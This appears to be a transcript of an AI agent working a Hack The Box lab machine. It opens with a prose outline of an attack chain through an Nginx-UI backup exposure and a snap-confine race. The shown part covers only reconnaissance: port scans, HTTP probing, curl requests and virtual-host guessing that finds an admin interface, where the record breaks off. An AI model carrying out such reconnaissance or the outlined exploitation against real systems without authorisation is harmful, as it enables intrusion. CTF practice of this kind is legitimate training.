Hack The Box - CTF Challenge
Machine Name: Snapped (Linux)
Snapped is a hard-difficulty machine that features two recent CVEs. The foothold showcases CVE-2026-27944 in Nginx-UI, which exposes the /api/backup endpoint without authentication. The endpoint will produce a full backup of the nginx and nginx-UI configuration files, and includes the key to decrypt the backup in the response headers. This leads to finding and decrypting a weak user password from the Nginx-UI database file. Root exploits CVE-2026-3888, a TOCTOU race condition between snap-confine and systemd-tmpfiles. After the system's cleanup daemon deletes a stale mimic directory under /tmp, the attacker recreates it with controlled content and single-steps snap-confine's execution via AF_UNIX socket backpressure to win the race during the mimic bind-mount sequence reliably. This poisons the sandbox's shared libraries, enabling dynamic linker hijacking on the SUID-root snap-confine binary to compromise the system.
Your goal is to retrieve:
Make sure to regularly save and document your progress, including commands used, findings, payloads, and credentials. This will allow you to resume your work in case of interruptions or roadblocks without losing critical information.
I'll solve this CTF challenge systematically. Let me start by setting up the workspace and performing initial reconnaissance.
Hack The Box - Snapped (Linux, Hard) - CVE-2026-27944 Nginx-UI backup exposure + CVE-2026-3888 TOCTOU snap-confine race condition
Interact with Windows/Active Directory networks using NetExec (nxc) across multiple protocols (SMB, LDAP, WinRM, MSSQL, SSH, and others). Supports authentication, enumeration, command execution, module-based actions, and credential operations across single hosts or network ranges.
Tests API security including authentication, authorization, business logic flaws, and workflow vulnerabilities. Use when testing REST/GraphQL APIs for IDOR, privilege escalation, rate limiting, or stateful vulnerabilities.
Automates browser interactions for web testing, form filling, screenshots, and data extraction. Use when the user needs to navigate websites, interact with web pages, fill forms, take screenshots, test web applications, or extract information from web pages.
Passive pre-check using cdncheck to identify whether a target is behind a CDN and/or protected by a WAF (based on response/technology detection). Use this before running active scanners to reduce noise, avoid WAF blocks, and choose safer scanning settings.
Discovers known vulnerabilities using Shodan's CVEDB API and public exploit availability via GitHub API. Search by CPE identifiers with version number to find CVEs, check for exploited vulnerabilities (KEV), assess exploitation likelihood (EPSS), and identify public exploit code. Use after service detection to identify vulnerabilities and exploitation risk.
Discovers hidden directories and files using ffuf with WAF detection and auto-calibration. Use when enumerating web paths, finding admin panels, backup files, or hidden endpoints during reconnaissance.
Fast HTTP probing with httpx to identify live web services and collect metadata for scoping and next-step decisions.
Analyzes suspicious files using hash lookups, binary inspection, artifact extraction, and threat intelligence. Use when investigating potential malware or analyzing suspicious binaries.
Discovers open ports and services using naabu for rapid port scanning combined with nmap for service version detection with XML output for CPE extraction. Use when enumerating open ports, identifying services, or during initial reconnaissance to map the attack surface.
Tests for SQL injection vulnerabilities using sqlmap with low-noise techniques and manual validation. Use when testing URL parameters, forms, or authenticated endpoints for database injection flaws.
Discovers subdomains using passive reconnaissance via subfinder, TLS certificate inspection with tlsx, and DNS validation with dnsx. Use when expanding attack surface, finding related assets, or during initial reconnaissance of a target domain.
Identifies specific vulnerabilities on a target using Nuclei with focused filtering by technology, tags, CVEs, severity, or template IDs. Use for precise vulnerability validation, tech-specific assessments, or controlled attack surface analysis.
Selects proportional SecLists wordlists for reconnaissance and fuzzing activities. Use to choose datasets aligned with scope, noise tolerance, and engagement constraints.
Tests for Cross-Site Scripting vulnerabilities using Dalfox for automated detection and manual validation with context-specific payloads. Use when testing URL parameters, form inputs, or analyzing reflected, stored, or DOM-based XSS.
Discovers open ports and services using naabu for rapid port scanning combined with nmap for service version detection with XML output for CPE extraction. Use when enumerating open ports, identifying services, or during initial reconnaissance to map the attack surface.
Fast HTTP probing with httpx to identify live web services and collect metadata for scoping and next-step decisions.
Tests API security including authentication, authorization, business logic flaws, and workflow vulnerabilities. Use when testing REST/GraphQL APIs for IDOR, privilege escalation, rate limiting, or stateful vulnerabilities.
Good. Now let me start with port scanning and HTTP probing against the target.
$ echo "10.129.25.16" | sudo $(which naabu) -silent -no-color -disable-update-check -display-cdn -exclude-cdn -with-host-discovery -top-ports 1000 -ip-version 4 -scan-type s 2>/dev/null
10.129.25.16:80
10.129.25.16:22
Ports 22 (SSH) and 80 (HTTP) are open. Let me get service versions and probe HTTP.
$ sudo nmap "10.129.25.16" -p "22,80" -Pn -n -sV -oX - 2>/dev/null
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE nmaprun>
<?xml-stylesheet href="file:///usr/bin/../share/nmap/nmap.xsl" type="text/xsl"?>
<!-- Nmap 7.94SVN scan initiated Thu Apr 9 13:06:00 2026 as: nmap -p 22,80 -Pn -n -sV -oX - 10.129.25.16 -->
<nmaprun scanner="nmap" args="nmap -p 22,80 -Pn -n -sV -oX - 10.129.25.16" start="1775732760" startstr="Thu Apr 9 13:06:00 2026" version="7.94SVN" xmloutputversion="1.05">
<scaninfo type="syn" protocol="tcp" numservices="2" services="22,80"/>
<verbose level="0"/>
<debugging level="0"/>
<host starttime="1775732760" endtime="1775732767"><status state="up" reason="user-set" reason_ttl="0"/>
<address addr="10.129.25.16" addrtype="ipv4"/>
<hostnames>
</hostnames>
<ports><port protocol="tcp" portid="22"><state state="open" reason="syn-ack" reason_ttl="63"/><service name="ssh" product="OpenSSH" version="9.6p1 Ubuntu 3ubuntu13.15" extrainfo="Ubuntu Linux; protocol 2.0" ostype="Linux" method="probed" conf="10"><cpe>cpe:/a:openbsd:openssh:9.6p1</cpe><cpe>cpe:/o:linux:linux_kernel</cpe></service></port>
<port protocol="tcp" portid="80"><state state="open" reason="syn-ack" reason_ttl="63"/><service name="http" product="nginx" version="1.24.0" extrainfo="Ubuntu" ostype="Linux" method="probed" conf="10"><cpe>cpe:/a:igor_sysoev:nginx:1.24.0</cpe><cpe>cpe:/o:linux:linux_kernel</cpe></service></port>
</ports>
<times srtt="24965" rttvar="18769" to="100041"/>
</host>
<runstats><finished time="1775732767" timestr="Thu Apr 9 13:06:07 2026" summary="Nmap done at Thu Apr 9 13:06:07 2026; 1 IP address (1 host up) scanned in 6.50 seconds" elapsed="6.50" exit="success"/><hosts up="1" down="0" total="1"/>
</runstats>
</nmaprun>
$ echo "10.129.25.16" | httpx -silent -no-color -disable-update-check -json 2>/dev/null
{"timestamp":"2026-04-09T13:06:01.361955461+02:00","port":"80","url":"http://10.129.25.16","input":"10.129.25.16","location":"http://snapped.htb/","title":"302 Found","scheme":"http","webserver":"nginx/1.24.0 (Ubuntu)","content_type":"text/html","method":"GET","host":"10.129.25.16","host_ip":"10.129.25.16","path":"/","time":"51.753152ms","a":["10.129.25.16"],"tech":["Nginx:1.24.0","Ubuntu"],"words":4,"lines":7,"status_code":302,"content_length":154,"failed":false,"knowledgebase":{"pHash":0}}
The web service redirects to snapped.htb. Let me add it to hosts and explore the Nginx-UI application.
$ grep -q "snapped.htb" /etc/hosts || echo "10.129.25.16 snapped.htb" | sudo tee -a /etc/hosts
$ curl -svL http://snapped.htb/ 2>&1 | head -80
* Host snapped.htb:80 was resolved.
* IPv6: (none)
* IPv4: 10.129.25.16
* Trying 10.129.25.16:80...
* Connected to snapped.htb (10.129.25.16) port 80
> GET / HTTP/1.1
> Host: snapped.htb
> User-Agent: curl/8.5.0
> Accept: */*
>
< HTTP/1.1 200 OK
< Server: nginx/1.24.0 (Ubuntu)
< Date: Thu, 09 Apr 2026 11:07:03 GMT
< Content-Type: text/html
< Content-Length: 20199
< Last-Modified: Thu, 19 Mar 2026 15:11:44 GMT
< Connection: keep-alive
< ETag: "69bc1230-4ee7"
< Accept-Ranges: bytes
<
{ [1100 bytes data]
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<title>Snapped — Infrastructure. Orchestration. Control.</title>
<link rel="preconnect" href="https://fonts.googleapis.com">
<link rel="preconnect" href="https://fonts.gstatic.com" crossorigin>
<link href="https://fonts.googleapis.com/css2?family=Instrument+Sans:wght@400;500;600;700&family=Space+Mono:wght@400;700&display=swap" rel="stylesheet">
<link rel="stylesheet" href="/style.css">
</head>
<body>
<!-- Grain -->
<div class="grain" aria-hidden="true"></div>
<!-- ========== NAV ========== -->
<nav class="nav" id="nav">
<div class="nav__inner wrap">
<a href="#" class="nav__logo">
<span class="nav__logo-mark">S</span>
<span class="nav__logo-text">Snapped</span>
</a>
<div class="nav__links" id="navLinks">
<a href="#platform">Platform</a>
<a href="#modules">Modules</a>
<a href="#network">Network</a>
<a href="#contact">Contact</a>
</div>
<div class="nav__right">
<div class="nav__status">
<span class="nav__status-dot"></span>
All Systems Operational
</div>
<button class="nav__burger" id="burger" aria-label="Menu">
<span></span><span></span>
</button>
</div>
</div>
</nav>
<!-- ========== HERO ========== -->
<header class="hero" id="hero">
<canvas id="heroCanvas"></canvas>
<div class="hero__overlay"></div>
<div class="hero__content wrap">
<p class="hero__eyebrow anim" data-d="0">APAC Infrastructure Platform</p>
<h1 class="hero__title anim" data-d="1">
The command layer<br>for <span class="hero__accent">modern infrastructure</span>
</h1>
<p class="hero__sub anim" data-d="2">
Centralized orchestration across routing, deployment, and resource management
throughout the Asia-Pacific region. Built for teams who refuse to compromise
on reliability.
</p>
<div class="hero__actions anim" data-d="3">
<a href="#modules" class="btn btn--primary">Explore the platform</a>
<a href="#contact" class="btn btn--ghost">Talk to us</a>
</div>
<div class="hero__stats anim" data-d="4">
This is a landing page. The challenge mentions Nginx-UI. Let me look for common Nginx-UI paths.
$ curl -s http://snapped.htb/login 2>/dev/null | head -20 && echo "---" && curl -s http://snapped.htb/api/ 2>/dev/null | head -20 && echo "---" && curl -s http://snapped.htb/nginx/ 2>/dev/null | head -20
<html>
<head><title>404 Not Found</title></head>
<body>
<center><h1>404 Not Found</h1></center>
<hr><center>nginx/1.24.0 (Ubuntu)</center>
</body>
</html>
---
<html>
<head><title>404 Not Found</title></head>
<body>
<center><h1>404 Not Found</h1></center>
<hr><center>nginx/1.24.0 (Ubuntu)</center>
</body>
</html>
---
<html>
<head><title>404 Not Found</title></head>
<body>
<center><h1>404 Not Found</h1></center>
<hr><center>nginx/1.24.0 (Ubuntu)</center>
</body>
</html>
Nginx-UI usually runs on a separate port. Let me scan for additional ports and also check common Nginx-UI ports (like 9000, 8080, etc.).
$ sudo nmap "10.129.25.16" -p 8080,8443,9000,9001,443,3000,3001,2080,2083,8888,9090,9999,5000,8000 -Pn -n -sV --open 2>/dev/null
Starting Nmap 7.94SVN ( https://nmap.org ) at 2026-04-09 13:07 CEST
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 0.17 seconds
No additional ports from that scan. Let me do a more comprehensive scan.
$ sudo nmap "10.129.25.16" -p- -Pn -n --min-rate 5000 2>/dev/null | grep open
22/tcp open ssh
80/tcp open http
Only ports 22 and 80. So Nginx-UI must be accessed via the web server on port 80. Let me check for virtual hosts or subdirectories. Nginx-UI typically has paths like /ui/, /admin/, or is on a subdomain.
$ curl -s http://snapped.htb/ 2>/dev/null | grep -oP '(href|src)="[^"]*"' | sort -u
href="#"
href="#contact"
href="#modules"
href="#network"
href="#platform"
href="/style.css"
href="https://fonts.googleapis.com"
href="https://fonts.googleapis.com/css2?family=Instrument+Sans:wght@400;500;600;700&family=Space+Mono:wght@400;700&display=swap"
href="https://fonts.gstatic.com"
href="mailto:contact@snapped.htb"
$ curl -s http://snapped.htb/style.css 2>/dev/null | head -5 && echo "---" && curl -s http://snapped.htb/ 2>/dev/null | grep -i "script" | head -20
/* ============================================================
SNAPPED — Command Nexus Theme
============================================================ */
*, *::before, *::after { margin: 0; padding: 0; box-sizing: border-box; }
---
<script>
</script>
$ curl -s http://snapped.htb/ 2>/dev/null | grep -oP 'script[^>]*>' | head -20
script>
script>
Let me check for common Nginx-UI subdomain patterns and look at the full page source more carefully.
$ curl -s http://snapped.htb/ 2>/dev/null > /tmp/snapped_index.html && wc -l /tmp/snapped_index.html && cat /tmp/snapped_index.html
539 /tmp/snapped_index.html
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<title>Snapped — Infrastructure. Orchestration. Control.</title>
<link rel="preconnect" href="https://fonts.googleapis.com">
<link rel="preconnect" href="https://fonts.gstatic.com" crossorigin>
<link href="https://fonts.googleapis.com/css2?family=Instrument+Sans:wght@400;500;600;700&family=Space+Mono:wght@400;700&display=swap" rel="stylesheet">
<link rel="stylesheet" href="/style.css">
</head>
<body>
<!-- Grain -->
<div class="grain" aria-hidden="true"></div>
<!-- ========== NAV ========== -->
<nav class="nav" id="nav">
<div class="nav__inner wrap">
<a href="#" class="nav__logo">
<span class="nav__logo-mark">S</span>
<span class="nav__logo-text">Snapped</span>
</a>
<div class="nav__links" id="navLinks">
<a href="#platform">Platform</a>
<a href="#modules">Modules</a>
<a href="#network">Network</a>
<a href="#contact">Contact</a>
</div>
<div class="nav__right">
<div class="nav__status">
<span class="nav__status-dot"></span>
All Systems Operational
</div>
<button class="nav__burger" id="burger" aria-label="Menu">
<span></span><span></span>
</button>
</div>
</div>
</nav>
<!-- ========== HERO ========== -->
<header class="hero" id="hero">
<canvas id="heroCanvas"></canvas>
<div class="hero__overlay"></div>
<div class="hero__content wrap">
<p class="hero__eyebrow anim" data-d="0">APAC Infrastructure Platform</p>
<h1 class="hero__title anim" data-d="1">
The command layer<br>for <span class="hero__accent">modern infrastructure</span>
</h1>
<p class="hero__sub anim" data-d="2">
Centralized orchestration across routing, deployment, and resource management
throughout the Asia-Pacific region. Built for teams who refuse to compromise
on reliability.
</p>
<div class="hero__actions anim" data-d="3">
<a href="#modules" class="btn btn--primary">Explore the platform</a>
<a href="#contact" class="btn btn--ghost">Talk to us</a>
</div>
<div class="hero__stats anim" data-d="4">
<div class="hero__stat">
<span class="hero__stat-val">99.99%</span>
<span class="hero__stat-lbl">Uptime SLA</span>
</div>
<div class="hero__stat-sep"></div>
<div class="hero__stat">
<span class="hero__stat-val"><5ms</span>
<span class="hero__stat-lbl">Avg Latency</span>
</div>
<div class="hero__stat-sep"></div>
<div class="hero__stat">
<span class="hero__stat-val">12</span>
<span class="hero__stat-lbl">APAC Regions</span>
</div>
<div class="hero__stat-sep"></div>
<div class="hero__stat">
<span class="hero__stat-val">10M+</span>
<span class="hero__stat-lbl">Requests / Day</span>
</div>
</div>
</div>
<div class="hero__scroll-hint anim" data-d="5">
<div class="hero__scroll-line"></div>
</div>
</header>
<!-- ========== PLATFORM ========== -->
<section class="platform" id="platform">
<div class="wrap">
<div class="platform__header">
<span class="eyebrow reveal">Platform</span>
<h2 class="section-title reveal">One control plane.<br>Every region.</h2>
<p class="section-sub reveal">
Snapped replaces fragmented tooling with a unified control plane.
Deploy across regions, observe in real time, and enforce security policies — all from a single interface.
</p>
</div>
<div class="platform__grid">
<div class="platform__card reveal" data-accent="teal">
<div class="platform__card-num">01</div>
<h3>Orchestrate</h3>
<p>Deploy and scale services across distributed APAC infrastructure with automated rollout strategies and zero-downtime deployments.</p>
</div>
<div class="platform__card reveal" data-accent="blue">
<div class="platform__card-num">02</div>
<h3>Observe</h3>
<p>Real-time metrics, distributed tracing, and log aggregation. Sub-second visibility across every node, every region.</p>
</div>
<div class="platform__card reveal" data-accent="violet">
<div class="platform__card-num">03</div>
<h3>Secure</h3>
<p>Zero-trust access policies, automated certificate rotation, and continuous compliance scanning across all infrastructure.</p>
</div>
<div class="platform__card reveal" data-accent="amber">
<div class="platform__card-num">04</div>
<h3>Scale</h3>
<p>From edge gateways to core services, handle 10M+ daily requests with intelligent load distribution and auto-scaling.</p>
</div>
</div>
</div>
</section>
<!-- ========== MODULES ========== -->
<section class="modules" id="modules">
<div class="wrap">
<span class="eyebrow reveal">Core Modules</span>
<h2 class="section-title reveal">Five modules.<br>Complete coverage.</h2>
<div class="modules__list">
<div class="module reveal" data-color="teal">
<div class="module__left">
<span class="module__idx">01</span>
<h3 class="module__name">Edge Gateway</h3>
</div>
<p class="module__desc">Intelligent request routing and load balancing at the edge. SSL termination, protocol translation, and high-performance traffic distribution across your entire infrastructure.</p>
<div class="module__tags">
<span>Load Balancing</span><span>SSL</span><span>Routing</span><span>Protocol Translation</span>
</div>
</div>
<div class="module reveal" data-color="blue">
<div class="module__left">
<span class="module__idx">02</span>
<h3 class="module__name">Service Runtime</h3>
</div>
<p class="module__desc">Container orchestration and service deployment across distributed environments. Automated rollout strategies, canary deployments, and continuous health monitoring.</p>
<div class="module__tags">
<span>Containers</span><span>Orchestration</span><span>Health Checks</span>
</div>
</div>
<div class="module reveal" data-color="violet">
<div class="module__left">
<span class="module__idx">03</span>
<h3 class="module__name">System Configuration</h3>
</div>
<p class="module__desc">Centralized configuration management and secrets distribution. Versioned configuration state and secure credential injection across every region.</p>
<div class="module__tags">
<span>Secrets</span><span>Versioned Config</span><span>Credential Injection</span>
</div>
</div>
<div class="module reveal" data-color="amber">
<div class="module__left">
<span class="module__idx">04</span>
<h3 class="module__name">Diagnostics & Observability</h3>
</div>
<p class="module__desc">Comprehensive monitoring, logging, and distributed tracing. Real-time metrics collection and log aggregation for complete visibility into system behavior.</p>
<div class="module__tags">
<span>Metrics</span><span>Tracing</span><span>Logging</span><span>Alerts</span>
</div>
</div>
<div class="module reveal" data-color="rose">
<div class="module__left">
<span class="module__idx">05</span>
<h3 class="module__name">Security & Access Control</h3>
</div>
<p class="module__desc">Identity-based access management with encryption at rest and in transit. Fine-grained RBAC policies, certificate management, and automated security scanning.</p>
<div class="module__tags">
<span>RBAC</span><span>Encryption</span><span>Certificates</span><span>Scanning</span>
</div>
</div>
</div>
</div>
</section>
<!-- ========== NETWORK ========== -->
<section class="network" id="network">
<div class="wrap">
<div class="network__layout">
<div class="network__info">
<span class="eyebrow reveal">Network</span>
<h2 class="section-title reveal">APAC-wide<br>presence.</h2>
<p class="network__text reveal">
Primary infrastructure hub in Yuza, Yamagata Prefecture, Japan — with 12 edge nodes
spanning Singapore, Australia, South Korea, Hong Kong, and India. Low-latency access
across every major APAC market.
</p>
<div class="network__nodes reveal">
<div class="network__node">
<span class="network__node-dot network__node-dot--primary"></span>
<div>
<strong>Yuza, Japan</strong>
<span>Primary Hub</span>
</div>
</div>
<div class="network__node">
<span class="network__node-dot network__node-dot--edge"></span>
<div>
<strong>APAC Edge</strong>
<span>12 Nodes</span>
</div>
</div>
<div class="network__node">
<span class="network__node-dot network__node-dot--mesh"></span>
<div>
<strong>Core Mesh</strong>
<span>Fully Redundant</span>
</div>
</div>
</div>
</div>
<div class="network__viz reveal">
<canvas id="networkCanvas"></canvas>
</div>
</div>
</div>
</section>
<!-- ========== CONTACT ========== -->
<section class="contact" id="contact">
<div class="wrap">
<span class="eyebrow reveal">Contact</span>
<h2 class="section-title reveal">Let's build<br>something resilient.</h2>
<div class="contact__grid">
<div class="contact__card reveal">
<h3>Headquarters</h3>
<address>
Yuza Tech Park, Building 3<br>
1-12 Shonai Avenue<br>
Yuza, Yamagata Prefecture 999-8301<br>
Japan
</address>
</div>
<div class="contact__card reveal">
<h3>Communications</h3>
<p>
<a href="mailto:contact@snapped.htb">contact@snapped.htb</a>
</p>
<p class="contact__note">Typically respond within 24 hours</p>
</div>
</div>
</div>
</section>
<!-- ========== FOOTER ========== -->
<footer class="footer">
<div class="wrap footer__inner">
<div class="footer__brand">
<span class="nav__logo-mark nav__logo-mark--sm">S</span>
<div>
<p class="footer__name">Snapped Management Systems</p>
<p class="footer__sub">Infrastructure Division</p>
</div>
</div>
<div class="footer__links">
<a href="#platform">Platform</a>
<a href="#modules">Modules</a>
<a href="#network">Network</a>
<a href="#contact">Contact</a>
</div>
<p class="footer__ver">v1.0.0</p>
</div>
</footer>
<script>
(function () {
/* ── NAV ── */
var nav = document.getElementById('nav');
var burger = document.getElementById('burger');
var navLinks = document.getElementById('navLinks');
window.addEventListener('scroll', function () {
nav.classList.toggle('nav--scrolled', scrollY > 40);
});
burger.addEventListener('click', function () {
burger.classList.toggle('open');
navLinks.classList.toggle('open');
});
var anchors = navLinks.querySelectorAll('a');
for (var i = 0; i < anchors.length; i++) {
anchors[i].addEventListener('click', function () {
burger.classList.remove('open');
navLinks.classList.remove('open');
});
}
/* ── SMOOTH SCROLL ── */
var scrollLinks = document.querySelectorAll('a[href^="#"]');
for (var s = 0; s < scrollLinks.length; s++) {
scrollLinks[s].addEventListener('click', function (e) {
e.preventDefault();
var target = document.querySelector(this.getAttribute('href'));
if (target) target.scrollIntoView({ behavior: 'smooth' });
});
}
/* ── HERO ANIM STAGGER ── */
var anims = document.querySelectorAll('.anim');
for (var a = 0; a < anims.length; a++) {
anims[a].style.animationDelay = (parseInt(anims[a].dataset.d) * 0.12 + 0.3) + 's';
}
/* ── SCROLL REVEAL ── */
var io = new IntersectionObserver(function (entries) {
entries.forEach(function (e) {
if (e.isIntersecting) {
e.target.classList.add('in');
io.unobserve(e.target);
}
});
}, { threshold: 0.12, rootMargin: '0px 0px -60px 0px' });
var revealEls = document.querySelectorAll('.reveal');
for (var r = 0; r < revealEls.length; r++) {
revealEls[r].style.transitionDelay = ((r % 4) * 0.09) + 's';
io.observe(revealEls[r]);
}
/* ── HERO CANVAS — TOPOLOGY NETWORK ── */
var hc = document.getElementById('heroCanvas');
var hctx = hc.getContext('2d');
var nodes = [];
var hW, hH;
var mouse = { x: -9999, y: -9999 };
function hResize() {
var hero = document.getElementById('hero');
hW = hc.width = hero.offsetWidth;
hH = hc.height = hero.offsetHeight;
nodes = [];
var count = Math.min(60, Math.floor(hW * hH / 18000));
for (var i = 0; i < count; i++) nodes.push(makeNode());
}
function makeNode() {
return {
x: Math.random() * hW,
y: Math.random() * hH,
vx: (Math.random() - 0.5) * 0.25,
vy: (Math.random() - 0.5) * 0.25,
r: Math.random() * 2 + 1,
pulse: Math.random() * Math.PI * 2
};
}
hResize();
window.addEventListener('resize', hResize);
document.getElementById('hero').addEventListener('mousemove', function (e) {
var rect = hc.getBoundingClientRect();
mouse.x = e.clientX - rect.left;
mouse.y = e.clientY - rect.top;
});
document.getElementById('hero').addEventListener('mouseleave', function () {
mouse.x = -9999; mouse.y = -9999;
});
function heroFrame(t) {
hctx.clearRect(0, 0, hW, hH);
var time = t * 0.001;
for (var i = 0; i < nodes.length; i++) {
var n = nodes[i];
n.x += n.vx;
n.y += n.vy;
if (n.x < 0 || n.x > hW) n.vx *= -1;
if (n.y < 0 || n.y > hH) n.vy *= -1;
var dx = mouse.x - n.x, dy = mouse.y - n.y;
var md = Math.sqrt(dx * dx + dy * dy);
if (md < 200) {
n.x -= dx * 0.008;
n.y -= dy * 0.008;
}
var pulse = Math.sin(time * 1.5 + n.pulse) * 0.3 + 0.7;
hctx.beginPath();
hctx.arc(n.x, n.y, n.r * pulse, 0, Math.PI * 2);
hctx.fillStyle = 'rgba(0,240,255,' + (0.5 * pulse) + ')';
hctx.fill();
// glow
hctx.beginPath();
hctx.arc(n.x, n.y, n.r * 3 * pulse, 0, Math.PI * 2);
hctx.fillStyle = 'rgba(0,240,255,' + (0.06 * pulse) + ')';
hctx.fill();
}
// connections
for (var a = 0; a < nodes.length; a++) {
for (var b = a + 1; b < nodes.length; b++) {
var ddx = nodes[a].x - nodes[b].x;
var ddy = nodes[a].y - nodes[b].y;
var dd = ddx * ddx + ddy * ddy;
if (dd < 22000) {
var alpha = 0.12 * (1 - dd / 22000);
hctx.beginPath();
hctx.moveTo(nodes[a].x, nodes[a].y);
hctx.lineTo(nodes[b].x, nodes[b].y);
hctx.strokeStyle = 'rgba(0,240,255,' + alpha + ')';
hctx.lineWidth = 0.6;
hctx.stroke();
}
}
}
requestAnimationFrame(heroFrame);
}
requestAnimationFrame(heroFrame);
/* ── NETWORK CANVAS — ORBITAL MAP ── */
var nc = document.getElementById('networkCanvas');
var nctx = nc.getContext('2d');
var nW, nH;
var nData = [
{ label: 'JP', angle: 0, orbit: 0, color: '#00F0FF', primary: true },
{ label: 'SG', angle: 0.9, orbit: 1, color: '#00F0FF' },
{ label: 'AU', angle: 2.1, orbit: 1, color: '#00F0FF' },
{ label: 'KR', angle: 3.5, orbit: 0.7, color: '#00F0FF' },
{ label: 'HK', angle: 4.5, orbit: 1, color: '#00F0FF' },
{ label: 'IN', angle: 5.5, orbit: 0.85, color: '#00F0FF' }
];
function nResize() {
var container = nc.parentElement;
nW = nc.width = container.offsetWidth;
nH = nc.height = container.offsetHeight;
}
nResize();
window.addEventListener('resize', nResize);
function drawNetwork(t) {
nctx.clearRect(0, 0, nW, nH);
var cx = nW / 2, cy = nH / 2;
var maxR = Math.min(nW, nH) * 0.38;
var time = t * 0.001;
// orbit rings
for (var ring = 1; ring <= 3; ring++) {
var rr = maxR * (ring / 3);
var pulse = Math.sin(time * 0.5 + ring) * 0.05 + 1;
nctx.beginPath();
nctx.arc(cx, cy, rr * pulse, 0, Math.PI * 2);
nctx.strokeStyle = 'rgba(0,240,255,' + (0.06 + (3 - ring) * 0.03) + ')';
nctx.lineWidth = 1;
nctx.stroke();
}
// calc positions
var positions = [];
for (var i = 0; i < nData.length; i++) {
var d = nData[i];
if (d.primary) {
positions.push({ x: cx, y: cy, label: d.label, color: d.color, primary: true });
} else {
var a = d.angle + time * 0.08;
var r = maxR * d.orbit;
positions.push({
x: cx + Math.cos(a) * r,
y: cy + Math.sin(a) * r,
label: d.label,
color: d.color,
primary: false
});
}
}
// connection lines
for (var j = 1; j < positions.length; j++) {
var p0 = positions[0], p1 = positions[j];
var grad = nctx.createLinearGradient(p0.x, p0.y, p1.x, p1.y);
grad.addColorStop(0, 'rgba(0,240,255,0.25)');
grad.addColorStop(1, 'rgba(0,240,255,0.03)');
nctx.beginPath();
nctx.moveTo(p0.x, p0.y);
nctx.lineTo(p1.x, p1.y);
nctx.strokeStyle = grad;
nctx.lineWidth = 1;
nctx.setLineDash([4, 6]);
nctx.stroke();
nctx.setLineDash([]);
// traveling pulse
var prog = ((time * 0.3 + j * 0.5) % 1);
var px = p0.x + (p1.x - p0.x) * prog;
var py = p0.y + (p1.y - p0.y) * prog;
nctx.beginPath();
nctx.arc(px, py, 2, 0, Math.PI * 2);
nctx.fillStyle = 'rgba(0,240,255,0.7)';
nctx.fill();
}
// draw nodes
for (var k = 0; k < positions.length; k++) {
var nd = positions[k];
var sz = nd.primary ? 32 : 20;
// outer glow
var glowR = sz * 2;
var glow = nctx.createRadialGradient(nd.x, nd.y, 0, nd.x, nd.y, glowR);
glow.addColorStop(0, nd.primary ? 'rgba(0,240,255,0.15)' : 'rgba(0,240,255,0.08)');
glow.addColorStop(1, 'rgba(0,240,255,0)');
nctx.beginPath();
nctx.arc(nd.x, nd.y, glowR, 0, Math.PI * 2);
nctx.fillStyle = glow;
nctx.fill();
// node circle
nctx.beginPath();
nctx.arc(nd.x, nd.y, sz / 2, 0, Math.PI * 2);
nctx.fillStyle = nd.primary ? '#00F0FF' : 'rgba(6,8,12,0.9)';
nctx.fill();
nctx.strokeStyle = 'rgba(0,240,255,' + (nd.primary ? '0.8' : '0.4') + ')';
nctx.lineWidth = nd.primary ? 2 : 1;
nctx.stroke();
// label
nctx.font = (nd.primary ? '700 13px' : '500 10px') + ' "Space Mono", monospace';
nctx.fillStyle = nd.primary ? '#06080C' : '#00F0FF';
nctx.textAlign = 'center';
nctx.textBaseline = 'middle';
nctx.fillText(nd.label, nd.x, nd.y + (nd.primary ? 0.5 : 0));
}
requestAnimationFrame(drawNetwork);
}
requestAnimationFrame(drawNetwork);
})();
</script>
</body>
</html>
The page is a static landing page. Nginx-UI is likely on a subdomain. Let me check for subdomains and also try common Nginx-UI paths directly.
$ curl -sv http://10.129.25.16/ -H "Host: nginx-ui.snapped.htb" 2>&1 | head -30
* Trying 10.129.25.16:80...
* Connected to 10.129.25.16 (10.129.25.16) port 80
> GET / HTTP/1.1
> Host: nginx-ui.snapped.htb
> User-Agent: curl/8.5.0
> Accept: */*
>
< HTTP/1.1 302 Moved Temporarily
< Server: nginx/1.24.0 (Ubuntu)
< Date: Thu, 09 Apr 2026 11:08:39 GMT
< Content-Type: text/html
< Content-Length: 154
< Connection: keep-alive
< Location: http://snapped.htb/
<
{ [154 bytes data]
* Connection #0 to host 10.129.25.16 left intact
<html>
<head><title>302 Found</title></head>
<body>
<center><h1>302 Found</h1></center>
<hr><center>nginx/1.24.0 (Ubuntu)</center>
</body>
</html>
$ curl -sv http://10.129.25.16/ -H "Host: ui.snapped.htb" 2>&1 | head -30
* Trying 10.129.25.16:80...
* Connected to 10.129.25.16 (10.129.25.16) port 80
> GET / HTTP/1.1
> Host: ui.snapped.htb
> User-Agent: curl/8.5.0
> Accept: */*
>
< HTTP/1.1 302 Moved Temporarily
< Server: nginx/1.24.0 (Ubuntu)
< Date: Thu, 09 Apr 2026 11:08:39 GMT
< Content-Type: text/html
< Content-Length: 154
< Connection: keep-alive
< Location: http://snapped.htb/
<
{ [154 bytes data]
* Connection #0 to host 10.129.25.16 left intact
<html>
<head><title>302 Found</title></head>
<body>
<center><h1>302 Found</h1></center>
<hr><center>nginx/1.24.0 (Ubuntu)</center>
</body>
</html>
$ curl -sv http://10.129.25.16/ -H "Host: admin.snapped.htb" 2>&1 | head -30
* Trying 10.129.25.16:80...
* Connected to 10.129.25.16 (10.129.25.16) port 80
> GET / HTTP/1.1
> Host: admin.snapped.htb
> User-Agent: curl/8.5.0
> Accept: */*
>
< HTTP/1.1 200 OK
< Server: nginx/1.24.0 (Ubuntu)
< Date: Thu, 09 Apr 2026 11:08:39 GMT
< Content-Type: text/html; charset=utf-8
< Content-Length: 1407
< Connection: keep-alive
< Accept-Ranges: bytes
< Request-Id: 027d4d9a-16b0-410b-a650-58896d544b9d
<
{ [1407 bytes data]
* Connection #0 to host 10.129.25.16 left intact
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8" />
<link href="./favicon.ico" rel="icon">
<link href="./favicon-32x32.png" rel="icon" type="image/png" sizes="32x32">
<meta content="width=device-width,initial-scale=1.0,user-scalable=0" name="viewport">
